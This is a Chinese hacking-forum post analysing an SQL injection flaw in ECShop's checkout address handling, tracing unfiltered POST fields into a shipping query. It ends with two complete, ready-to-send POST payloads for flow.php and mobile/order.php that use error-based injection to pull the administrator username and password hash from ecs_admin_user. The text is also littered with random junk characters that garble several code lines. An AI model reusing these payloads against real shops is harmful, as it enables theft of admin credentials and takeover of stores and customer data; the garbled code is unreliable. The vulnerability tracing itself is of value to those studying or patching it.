找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2571|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。' Q! y' I- T: p4 z& ~: Q! o
8 L+ U; P% n: O, U* G" c: b7 X1 k
    漏洞关键文件:, E$ u2 h1 v& a1 w, E" I) V

; m  w/ m# p! ^9 R( U9 [    /includes/lib_order.php4 M" k  H3 h" E) ]
1 i/ P3 D+ i8 T" k
    关键函数:
) ^7 F3 W" |# H* q
# T5 i! a2 C( e4 p  g  m
- O3 z" q$ S( a* s% X
/ k: o) K3 Q! {8 `4 Y& g. Y! O01     function available_shipping_list($region_id_list)
0 |8 L' N7 Y' t$ D
6 L$ j8 K% I+ r' e4 f8 u! X: s% C  g02 { - F( h3 r- G( n3 l9 a% `  x: k) M

4 o& q4 Y! ]( _. S8 g03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . ; Y. U% m* i" ~

& q6 p( I7 t5 p/ T% O( K04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . * \1 t; f3 l$ ]5 B0 f2 _  E1 F& t
5 [( Q9 G8 R( W1 Y5 f' Q' U8 o) M
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . : N' t6 n5 n/ m7 i

, ]% ^5 B/ C& e# U4 s- v5 Z: O$ P06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .   @# O* P1 |/ W' ]1 ~' _

; }, V! L+ @5 F6 ]3 b/ ^07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 5 K: w1 z1 P0 R2 @
6 _5 N0 Z" f& p# |3 _
08             'WHERE r.region_id ' . db_create_in($region_id_list) .   m1 ?5 S4 \" a7 G. t7 x1 b- J' ^
: }/ ^6 C  P- X7 d' x, x
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 2 w6 q; Q: @8 L' k3 Z# L
' ]; l0 ~% _/ K& a* E! L" ^! |
10   
7 Q2 i  d5 Y9 ?  u* E: v! V+ j. d4 K& k
11     return $GLOBALS['db']->getAll($sql); 1 h* d/ n% O' S) H6 o  r+ z

4 }% G: B- l% u6 ]7 C8 Q1 B8 {! _* }# ^' w# ^12 }
/ Y8 e1 W7 w0 _, ~
; C0 }" [! n; e7 j显然对传入的参数没有任何过滤就带入了查询语句。
( ~" Y4 ^+ m" ^# g7 F, L+ h2 I 6 j+ h2 L' T) u& \
下面我们追踪这个函数在flow.php中:) v0 X% h* `0 O2 F. K! {
第531行:   
' N( K3 T6 u4 U  R& B
& [7 W* P( i" I( U$ e1 $shipping_list     = available_shipping_list($region);
# X) z3 L/ |6 o5 t: K2 P# r, V& q# b, [- }  N: w9 F

/ g8 D7 M5 z& _4 D6 d' W& Q: R2 `- A5 H- v9 ?6 e1 k

# k+ b* u* |- Z- r, X. S/ M: e0 E  Q6 b3 O
再对传入变量进行追踪:( H9 A5 B9 K% I
5 _& `) m) U+ O& j( M! f( q
第530行:   
: b* ^- P7 q% P4 ^7 O
9 W+ i" L6 M6 A, b1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); : U5 c  P# I2 J* q' t/ E
* Q- n( h: G; |
" `% C: K8 k8 d. Y. N) r' W& [

8 g; {8 O. d5 G3 C( `" X # Y% d1 ~( M* E/ w4 l+ A

. m. r3 v% e; T% A) ]: J第473行:        
% O/ C! R1 N& E% X1 _6 Q. W9 h: E. v+ D1 K$ M* ~: }
1 $consignee = get_consignee($_SESSION['user_id']); 2 |0 J0 Y2 }' r6 d1 U( b+ }

6 Z! }  H; M& O$ f9 H8 F到了一个关键函数:
; v3 Q8 B5 T& |+ e0 h9 x
, @! ^/ X) Z5 k/includes/lib_order.php/ Z) }. ]* i' }: U4 }
/ Y1 Z8 @" o- X( t# a
2 s" D4 G$ g5 B
- {. D3 v8 }+ T2 R
7 E0 F" B9 a, P% H: H- Z; h  K# V
  x: @1 V9 @* s" N. s
01 function get_consignee($user_id) $ z0 Y3 e9 \  f$ G/ k1 M3 g' W

; ]6 x9 o: z: n! W2 L4 K9 D/ ^4 N& S02 { # T- I8 V0 i+ L
$ L- E4 @: y* T! E
03     if (isset($_SESSION['flow_consignee']))
# I3 g- x* l% @4 ~! y" t8 w% _
6 ^7 Z7 v+ K. ^04     {
) G$ i7 L* x- j" v0 |! e. ^% I! ~; e
, o8 p4 S* U% k  H% B. B05         /* 如果存在session,则直接返回session中的收货人信息 */ & {* `5 n& F' |) F

. l9 L5 R5 g. }/ S* b% Z+ v06   ( j3 v; s& K; R& N0 Z

( t/ N; F( e# d# ?6 ?07         return $_SESSION['flow_consignee'];
8 a% ]6 v) A8 V3 R9 Z* T( ^! X7 G' y" C* Y& d3 k, {
08     } 8 S7 b% ?' ?0 Z
  n/ a6 B% G8 \
09     else
" j5 E9 \; }  ^2 t5 P: R: A6 p4 P8 Z, u6 s) N$ R+ [( k/ w
10     { 0 p4 U% B' L4 Y7 X+ O

( S5 D! [# F5 J  {0 l* m11         /* 如果不存在,则取得用户的默认收货人信息 */
: Q  F6 M) S" _$ \4 r4 n
' _2 E( m9 S7 c4 t# D. i12         $arr = array();
; x/ b4 J$ f" a1 b4 P5 D3 r/ j& G
13   $ D# f" ?$ `, M9 n& d+ W4 j, [
5 i1 a! t$ p( i& y
14         if ($user_id > 0)
2 E/ E( ]/ p' d7 ]5 K
8 g9 {5 l$ w3 Z) {$ E, f15         { 7 l2 B5 z8 o# }
* X$ ~, {6 H3 L0 b
16             /* 取默认地址 */
$ F( g4 |- x- t. }+ c8 B) x! c) ^, F% q+ I$ V( ~5 W; I
17             $sql = "SELECT ua.*".
1 W  t4 X& z8 n# S1 S6 E+ f* O+ d3 A" B+ {. o, _' F
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
! Q" F* Z6 D/ h- D7 ?
" e0 C- g# F4 b5 O: A  M19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ; m% S) x) X9 R( ^# O6 \7 {+ n
9 r/ }# ~" ?6 A# O
20   & \4 K; L% n  G, ?3 O  g1 s
7 p5 h. z6 o' R* S, G/ H' F0 q! i( q
21             $arr = $GLOBALS['db']->getRow($sql);
  f( s' R  w" k2 _# F+ K& k# B. C1 z  c. k
22         }
9 k& {5 F2 K( }, C9 l7 ~) Y1 U0 r+ i/ @  I1 g) U$ K. Y
23   
! j! u6 T  l! i6 @* O0 _0 j- X
# P6 b' R+ {0 {& v# y* P5 }+ U24         return $arr;
$ n7 m* C3 c3 V, h1 }* V; e( Y  {0 P& C7 p% q6 J
25     }
. y8 v& ~7 [2 P0 b* S% ^. J3 p( t8 Z/ O
26 } 8 O1 }! f! K9 |5 b3 Z1 ~; ~

' ~5 I, E3 ]/ E( t显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?# J( O2 y/ U& _2 X0 M
* J8 G3 |+ g9 l# a

( c! G0 C( t$ m' q- E3 q
0 Z) }1 \1 `& M( Y  ?% x4 m关键点:8 H+ N4 p8 C; L! t- N$ w0 R
) F* A* f/ z7 H5 ~
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
0 A* e3 \' V: H! K* a7 \* ~
" `. N! [1 R. d8 c5 c这里对传入参数反转义存入$_SESSION中。" p7 b( [( v5 @1 \$ o- X  d" Y! |
& C( b7 k+ i* K% N
  p4 G- E1 h4 Z. j3 Z, j

1 f' A5 h9 t  z9 l然后看下:& G( f! ?5 X3 C0 U" Q: h& e0 z" l& G

: H/ V* A- I, U6 G
  P( o) W. m$ r2 E/ m, u/ I2 z1 h: ^/ [0 R, l7 w# x
   
( E9 E9 t# _# Y
* q( _0 c8 ^7 p2 O' L" W/ q01 $consignee = array( % o3 a" z; A( T; V

2 r9 C, \$ I# t8 K0 y, Y# x) d: b02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
' z/ Y+ }1 v" L+ Z4 i& P2 I# n/ _% d4 Z1 p
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
; P& w/ q6 S) e% l9 t) L! y8 M! Z9 O( o8 g& N
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
' h9 S; Q, ~. I* _
8 V# Q4 \; _/ k05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
6 M+ ]0 o" i4 ?5 h0 F, {+ |" j$ S6 F2 I# Y, X& E  Y3 H6 `& t+ E8 P
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 8 ~' ?8 p; J8 J9 k! v- U
- _! e# w1 d7 v
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
. Q3 v3 I  J9 }7 C6 I  x
, M  g/ t5 @2 ?  M08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
8 \2 G2 O. l- W) w' u7 l% f+ }5 \; C4 q- W0 [& Y
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
; v: ]& O9 W+ X" m, G7 p% N( n7 x5 `. m
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), . N8 g" Y( H+ l

& s0 n6 ?4 h8 Z5 c4 a- q11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
- L* ]% G" Z  r; i) i) N( h. `) x2 O. T) {
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), & I1 ~8 E  R' ^) u

0 ^5 A# A( d, X1 A" X$ g  s13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 6 ?5 B: h" e) S, j; e
, P) @# O7 Y  ]5 {- w# E
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], 2 p  W! y* g  k2 e6 b( d
2 t) |7 f+ a- L3 H% S" F: T& O+ r
15     ); ' [" j4 n3 Z, W/ U! X
* P" e# R( D/ J% x) ]
好了注入就这样出现了。' J9 Y9 u- A$ O6 @: `/ a# N" ]

/ P6 h- c9 j3 A* k) Y==================: y/ c( q2 p3 u6 A. r

8 {& V9 f3 _" g$ ]( ]- e+ ]5 h# g: A5 o- E注入测试:) d: t# ^0 X- `  N' e6 {" U

( K1 F3 \) H2 |环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
$ Y/ Q1 M; u  X) M/ d0 X
4 J2 p& p. t* ~" v测试程序:ECShop_V2.7.3_UTF8_release1106
* I4 M* c* S, c7 M( I: ?  h5 s* s$ ?  L* t5 y4 M
2 c" e8 A, s0 L$ _
: |8 ]9 U' j8 a& ?' \/ o' o2 V
1.首先需要点击一个商品加入购物车
8 p9 Y/ r- ?# Y4 V) m
; A. a9 X7 L/ L2 U  G2.注册一个会员帐号
7 j; N+ F, b% v% u
$ U" o' P) X4 a7 T0 L  x$ U3.post提交数据9 A& r) w" X9 i/ H( p, ~' ~

0 _! Q$ m/ n1 l3 q" d 8 S, i4 |, o8 C) R
/ e0 Q1 W8 t* C" N' r  A  w/ ~
1 http://127.0.0.1/ecshop/flow.php % v: ]3 s: j( U  Z7 V& o! d2 B

1 L' H& A; |2 K9 A2   
7 h% x, J9 e; r; e$ f$ V$ {* A+ `$ n* W  Z7 w* d! y# K8 H
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
0 E8 B) a: B0 g' K& z* h: ~举一反三,我们根据这个漏洞我们可以继续深入挖掘:
0 f5 n8 r/ d! G, N& ?2 `4 ^
; I! B/ V: E1 H3 n我们搜寻关键函数function available_shipping_list()( l: V- Q; I& ?& a" K9 I
* L- C. ^; {$ \6 m6 d) K- n
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
# \4 V0 J8 I2 w& m0 r; S. s9 y2 B3 r& W% D9 w. P) x! S3 L& M9 ~
利用exp:" l* A# ~; _+ v8 K( Q0 j
$ ?, e2 `$ x! ]$ _2 t
1.点击一个商品,点击购买商标3 |9 A9 }" {4 h5 N
6 u+ O0 K' y  d- S: v, u
2.登录会员帐号- N, l  w! U$ i% T/ L3 D
2 V% t7 P! T8 N! J5 {" |
3.post提交:
  |. v, M# G& O' y4 Y4 T9 x
0 M, o( ?9 }5 L2 t' s9 Khttp://127.0.0.1/ecshop/mobile/order.php
7 r# Y  x; i) j/ D6 @! q( c) G/ g# `" h0 u. m/ L

% i; e' {" }& b; D
  N+ p( ~% R  T) Acountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
1 l  H  b1 O$ Z/ t  h2 O% M# r" x% X5 H1 B* N% s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表